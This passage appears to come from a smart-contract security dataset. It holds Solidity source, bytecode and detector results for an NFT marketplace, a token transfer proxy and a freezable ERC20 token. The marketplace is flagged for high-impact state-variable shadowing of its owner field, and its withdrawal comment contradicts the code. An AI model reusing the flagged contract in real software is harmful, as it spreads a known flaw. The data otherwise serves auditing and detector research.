_owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } /// @title CryptoCelebritiesMarket /// @dev Contains models, variables, and internal methods for sales. contract CelebrityMarket is Pausable{ ERC721 ccContract; // Represents a sale item on an NFT struct Sale { // Current owner of NFT address seller; // Price (in wei) at beginning of a sale item uint256 salePrice; // Time when sale started // NOTE: 0 if this sale has been concluded uint64 startedAt; } // Owner of this contract address public owner; // Map from token ID to their corresponding sale. mapping (uint256 => Sale) tokenIdToSale; event SaleCreated(address seller,uint256 tokenId, uint256 salePrice, uint256 startedAt); event SaleSuccessful(address seller, uint256 tokenId, uint256 totalPrice, address winner); event SaleCancelled(address seller, uint256 tokenId); event SaleUpdated(address seller, uint256 tokenId, uint256 oldPrice, uint256 newPrice); /// @dev Constructor registers the nft address (CCAddress) /// @param _ccAddress - Address of the CryptoCelebrities contract function CelebrityMarket(address _ccAddress) public { ccContract = ERC721(_ccAddress); owner = msg.sender; } /// @dev DON'T give me your money. function() external {} /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { require( msg.sender == owner ); msg.sender.transfer(address(this).balance); } /// @dev Creates and begins a new sale. /// @param _tokenId - ID of token to sell, sender must be owner. /// @param _salePrice - Sale Price of item (in wei). function createSale( uint256 _tokenId, uint256 _salePrice ) public whenNotPaused { require(_owns(msg.sender, _tokenId)); _escrow(_tokenId); Sale memory sale = Sale( msg.sender, _salePrice, uint64(now) ); _addSale(_tokenId, sale); } /// @dev Update sale price of a sale item that hasn't been completed yet. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on sale /// @param _newPrice - new sale price function updateSalePrice(uint256 _tokenId, uint256 _newPrice) public { Sale storage sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); address seller = sale.seller; require(msg.sender == seller); _updateSalePrice(_tokenId, _newPrice, seller); } /// @dev Allows to buy a sale item, completing the sale and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to buy. function buy(uint256 _tokenId) public payable whenNotPaused { // _bid will throw if the bid or funds transfer fails _buy(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } /// @dev Cancels a sale that hasn't been completed yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on sale function cancelSale(uint256 _tokenId) public { Sale storage sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); address seller = sale.seller; require(msg.sender == seller); _cancelSale(_tokenId, seller); } /// @dev Cancels a sale when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on sale to cancel. function cancelSaleWhenPaused(uint256 _tokenId) whenPaused onlyOwner public { Sale storage sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); _cancelSale(_tokenId, sale.seller); } /// @dev Returns sale info for an NFT on sale. /// @param _tokenId - ID of NFT on sale. function getSale(uint256 _tokenId) public view returns ( address seller, uint256 salePrice, uint256 startedAt ) { Sale storage sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); return ( sale.seller, sale.salePrice, sale.startedAt ); } /// @dev Returns the current price of a sale item. /// @param _tokenId - ID of the token price we are checking. function getSalePrice(uint256 _tokenId) public view returns (uint256) { Sale storage sale = tokenIdToSale[_tokenId]; require(_isOnSale(sale)); return sale.salePrice; } /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (ccContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the CCToken, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _tokenId - ID of token whose approval to verify. function _escrow(uint256 _tokenId) internal { // it will throw if transfer fails ccContract.takeOwnership(_tokenId); } /// @dev Transfers a CCToken owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails ccContract.transfer(_receiver, _tokenId); } /// @dev Adds a sale to the list of open sales. Also fires the /// SaleCreated event. /// @param _tokenId The ID of the token to be put on sale. /// @param _sale Sale to add. function _addSale(uint256 _tokenId, Sale _sale) internal { tokenIdToSale[_tokenId] = _sale; SaleCreated( address(_sale.seller), uint256(_tokenId), uint256(_sale.salePrice), uint256(_sale.startedAt) ); } /// @dev Cancels a sale unconditionally. function _cancelSale(uint256 _tokenId, address _seller) internal { _removeSale(_tokenId); _transfer(_seller, _tokenId); SaleCancelled(_seller, _tokenId); } /// @dev updates sale price of item function _updateSalePrice(uint256 _tokenId, uint256 _newPrice, address _seller) internal { // Get a reference to the sale struct Sale storage sale = tokenIdToSale[_tokenId]; uint256 oldPrice = sale.salePrice; sale.salePrice = _newPrice; SaleUpdated(_seller, _tokenId, oldPrice, _newPrice); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _buy(uint256 _tokenId, uint256 _amount) internal returns (uint256) { // Get a reference to the sale struct Sale storage sale = tokenIdToSale[_tokenId]; // Explicitly check that this sale is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an sale object that is all zeros.) require(_isOnSale(sale)); // Check that the incoming bid is higher than the current // price uint256 price = sale.salePrice; require(_amount >= price); // Grab a reference to the seller before the sale struct // gets deleted. address seller = sale.seller; // The bid is good! Remove the sale before sending the fees // to the sender so we can't have a reentrancy attack. _removeSale(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the market owner's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 ownerCut = _computeCut(price); uint256 sellerProceeds = price - ownerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the sale item // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelSale(). ) seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 amountExcess = _amount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the sale is // removed before any transfers occur. msg.sender.transfer(amountExcess); // Tell the world! SaleSuccessful(seller, _tokenId, price, msg.sender); return price; } /// @dev Removes a sale item from the list of open sales. /// @param _tokenId - ID of NFT on sale. function _removeSale(uint256 _tokenId) internal { delete tokenIdToSale[_tokenId]; } /// @dev Returns true if the NFT is on sale. /// @param _sale - Sale to check. function _isOnSale(Sale storage _sale) internal view returns (bool) { return (_sale.startedAt > 0); } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal pure returns (uint256) { return uint256(SafeMath.div(SafeMath.mul(_price, 6), 100)); } }
0x6060604052600436106100ab5763ffffffff60e060020a60003504166323edfb8981146100b85780633f4ba83a146100ce5780634896672e146100e15780635c975abb146100fa5780635fd8c710146101215780636019061b146101345780638456cb591461014d5780638da5cb5b14610160578063bd94b0051461018f578063d8f6d596146101a5578063d96a094a146101f1578063f2fde38b146101fc578063f8eb5fc51461021b575b34156100b657600080fd5b005b34156100c357600080fd5b6100b6600435610243565b34156100d957600080fd5b6100b66102b4565b34156100ec57600080fd5b6100b6600435602435610333565b341561010557600080fd5b61010d610383565b604051901515815260200160405180910390f35b341561012c57600080fd5b6100b6610393565b341561013f57600080fd5b6100b66004356024356103ed565b341561015857600080fd5b6100b661046a565b341561016b57600080fd5b6101736104ee565b604051600160a060020a03909116815260200160405180910390f35b341561019a57600080fd5b6100b66004356104fd565b34156101b057600080fd5b6101bb600435610546565b6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390f35b6100b6600435610599565b341561020757600080fd5b6100b6600160a060020a03600435166105c8565b341561022657600080fd5b610231600435610663565b60405190815260200160405180910390f35b6000805460a060020a900460ff16151561025c57600080fd5b60005433600160a060020a0390811691161461027757600080fd5b50600081815260036020526040902061028f8161068f565b151561029a57600080fd5b80546102b0908390600160a060020a03166106a5565b5050565b60005433600160a060020a039081169116146102cf57600080fd5b60005460a060020a900460ff1615156102e757600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008281526003602052604081209061034b8261068f565b151561035657600080fd5b508054600160a060020a03908116903316811461037257600080fd5b61037d848483610700565b50505050565b60005460a060020a900460ff1681565b60025433600160a060020a039081169116146103ae57600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f1935050505015156103eb57600080fd5b565b6103f5610b9d565b60005460a060020a900460ff161561040c57600080fd5b6104163384610787565b151561042157600080fd5b61042a8361080b565b60606040519081016040528033600160a060020a031681526020018381526020014267ffffffffffffffff1681525090506104658382610864565b505050565b60005433600160a060020a0390811691161461048557600080fd5b60005460a060020a900460ff161561049c57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600254600160a060020a031681565b6000818152600360205260408120906105158261068f565b151561052057600080fd5b508054600160a060020a03908116903316811461053c57600080fd5b61046583826106a5565b6000818152600360205260408120819081906105618161068f565b151561056c57600080fd5b80546001820154600290920154600160a060020a039091169691955067ffffffffffffffff169350915050565b60005460a060020a900460ff16156105b057600080fd5b6105ba813461094b565b506105c53382610a80565b50565b60005433600160a060020a039081169116146105e357600080fd5b600160a060020a03811615156105f857600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600081815260036020526040812061067a8161068f565b151561068557600080fd5b6001015492915050565b60020154600067ffffffffffffffff9091161190565b6106ae82610aee565b6106b88183610a80565b7fc9b961c43fe701b83ae14bfe2d7625ea85b27c33b4aae8d1fdf4b344d5ea1dbc8183604051600160a060020a03909216825260208201526040908101905180910390a15050565b600083815260036020526040908190206001810180549085905590917fb165af5b3d8c4956215e2ea9ece7fed2bd0bc65751daa3d1e627cfafa1e058aa908490879084908890518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a15050505050565b600154600090600160a060020a038085169116636352211e84846040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156107de57600080fd5b6102c65a03f115156107ef57600080fd5b50505060405180519050600160a060020a031614905092915050565b600154600160a060020a031663b2e6ceeb8260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561085357600080fd5b6102c65a03f1151561037d57600080fd5b600082815260036020526040902081908151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151600291909101805467ffffffffffffffff191667ffffffffffffffff909216919091179055507f2cd2dfcdeb2b58c4b80527e9df5e12da537fa4f6c958a4fb623a83ab74eeab638151838360200151846040015167ffffffffffffffff166040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a15050565b600082815260036020526040812081808080806109678661068f565b151561097257600080fd5b600186015494508488101561098657600080fd5b8554600160a060020a0316935061099c89610aee565b60008511156109e6576109ae85610b33565b92508285039150600160a060020a03841682156108fc0283604051600060405180830381858888f1935050505015156109e657600080fd5b50838703600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610a1b57600080fd5b7f5b47613bd30103b02485b799feb74a88bc18be665b667188d79e5c57b6d9ecdc848a8733604051600160a060020a03948516815260208101939093526040808401929092529092166060820152608001905180910390a15092979650505050505050565b600154600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610ad657600080fd5b6102c65a03f11515610ae757600080fd5b5050505050565b6000908152600360205260408120805473ffffffffffffffffffffffffffffffffffffffff191681556001810191909155600201805467ffffffffffffffff19169055565b6000610b4a610b43836006610b50565b6064610b86565b92915050565b600080831515610b635760009150610b7f565b50828202828482811515610b7357fe5b0414610b7b57fe5b8091505b5092915050565b6000808284811515610b9457fe5b04949350505050565b6060604051908101604090815260008083526020830181905290820152905600a165627a7a72305820f13e4d2aeb4d860fdbf00ec777500f905c8fdf6ddaa51b1c8f0d292e01005ba60029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
10,451
0xec2f88796deecd6720a122ea7438984459e49d86
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransfered(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) public onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function ownerTransfership(address newOwner) public onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransfered(owner, newOwner); owner = newOwner; return true; } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063776062c31161005b578063776062c3146100e85780638da5cb5b146100fd5780639c1c2ee914610110578063f709b9061461012357600080fd5b806306394c9b14610082578063570ca735146100aa5780636fdc202f146100d5575b600080fd5b6100956100903660046105a9565b610136565b60405190151581526020015b60405180910390f35b6001546100bd906001600160a01b031681565b6040516001600160a01b0390911681526020016100a1565b6100956100e33660046105a9565b610250565b6100fb6100f63660046106a5565b61036e565b005b6000546100bd906001600160a01b031681565b6100fb61011e3660046105ec565b610474565b6100fb6101313660046106a5565b61050f565b600080546001600160a01b031633146101965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b606482015260840161018d565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a3506001919050565b600080546001600160a01b031633146102ab5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018d565b6001600160a01b0382166103105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161018d565b600080546040516001600160a01b03808616939216917f0d18b5fd22306e373229b9439188228edca81207d1667f604daf6cef8aa3ee6791a350600080546001600160a01b0383166001600160a01b03199091161790556001919050565b6001546001600160a01b031633146103985760405162461bcd60e51b815260040161018d9061074e565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156103ea57600080fd5b505af11580156103fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042291906105cc565b61046e5760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e67000000000000604482015260640161018d565b50505050565b6001546001600160a01b0316331461049e5760405162461bcd60e51b815260040161018d9061074e565b604051637921219560e11b81526001600160a01b0388169063f242432a906104d4908990899089908990899089906004016106f5565b600060405180830381600087803b1580156104ee57600080fd5b505af1158015610502573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b031633146105395760405162461bcd60e51b815260040161018d9061074e565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561058b57600080fd5b505af115801561059f573d6000803e3d6000fd5b5050505050505050565b6000602082840312156105ba578081fd5b81356105c5816107a2565b9392505050565b6000602082840312156105dd578081fd5b815180151581146105c5578182fd5b600080600080600080600060c0888a031215610606578283fd5b8735610611816107a2565b96506020880135610621816107a2565b95506040880135610631816107a2565b9450606088013593506080880135925060a088013567ffffffffffffffff8082111561065b578384fd5b818a0191508a601f83011261066e578384fd5b81358181111561067c578485fd5b8b602082850101111561068d578485fd5b60208301945080935050505092959891949750929550565b600080600080608085870312156106ba578384fd5b84356106c5816107a2565b935060208501356106d5816107a2565b925060408501356106e5816107a2565b9396929550929360600135925050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b6001600160a01b03811681146107b757600080fd5b5056fea2646970667358221220a25fd464ea9fedba3279080b11b9f1b96dd54d8d132ac80e67f0b844496d5f0364736f6c63430008040033
{"success": true, "error": null, "results": {}}
10,452
0x945192524c6605d20be6c529dd318666b74078bc
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20,Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; //Freeze parameter mapping (address => bool) private _frozenAccount; // This notifies about accounts locked event FrozenFunds(address target, bool frozen); /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Gets the freeze state of the specified address. * @param _address The address to query the freeze state of. * @return An bool representing the state of freeze. */ function isAccountFreezed(address _address) public view returns (bool) { return _frozenAccount[_address]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(!_frozenAccount[msg.sender]); //sender should not be frozen Account require(!_frozenAccount[to]); //receiver should not be frozen Account require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(!_frozenAccount[from]); //sender should not be frozen Account require(!_frozenAccount[to]); //receiver should not be frozen Account require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. */ function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Freezes the account from transferring tokens from own address to another * @param target The account which will be freezed. * @param freeze The decision to freeze. */ function _freezeAccount(address target, bool freeze) internal { _frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } } contract BitsrentToken is ERC20{ string public constant name 